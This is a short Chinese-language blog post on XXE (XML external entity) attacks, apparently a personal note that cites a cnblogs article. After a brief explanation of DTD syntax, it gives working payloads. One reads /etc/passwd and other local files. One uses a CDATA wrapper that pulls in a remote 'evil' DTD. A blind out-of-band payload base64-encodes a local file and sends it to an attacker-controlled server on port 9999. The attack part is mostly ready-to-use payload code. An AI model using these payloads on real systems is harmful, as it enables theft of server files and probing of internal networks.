XXE

https://www.cnblogs.com/zhaijiahui/p/9147595.html

DOCTYPE(DTD的声明)
ENTITY(实体的声明)
SYSTEM、PUBLIC(外部资源申请)
1.内部声明DTD:
<!DOCTYPE 根元素 [元素声明]>
2.引用外部DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">
3.内外部DTD文档结合:
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

敏感文件读取

图片.png
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ENTITY admin SYSTEM "file:///etc/passwd">
#<!ENTITY admin SYSTEM "file:///c:/hello.txt">
]>
<root><name>&admin;</name><password>password</password></root>
当读取的目标文件内容有&,<,>时,解析器会把内容进行解析从而报错

有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整段数据解析为纯字符数据而不是标记的情况包含大量的 <> & 或者
" 字符,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE z [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % a SYSTEM "file:///c:/hello.txt">  
<!ENTITY % b "]]>">  
<!ENTITY % c SYSTEM "http://192.168.133.206/xxe_evil.dtd"> 
%c; ]> 
<user><username>&xxe;</username><password>admin</password></user>


evil.dtd

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY xxe "%start;%a;%b;">

Blind OOB XXE 无回显读取敏感文件

payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE z [
<!ENTITY % all SYSTEM "http://192.168.133.206/xxe_oob.dtd">
%all;%int;%send;
]>

其中的xxe_oob.dtd内容是:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/hello.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.133.206:9999?p=%file;'>">
图片.png
图片.png

内网扫描

图片.png
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

友情链接更多精彩内容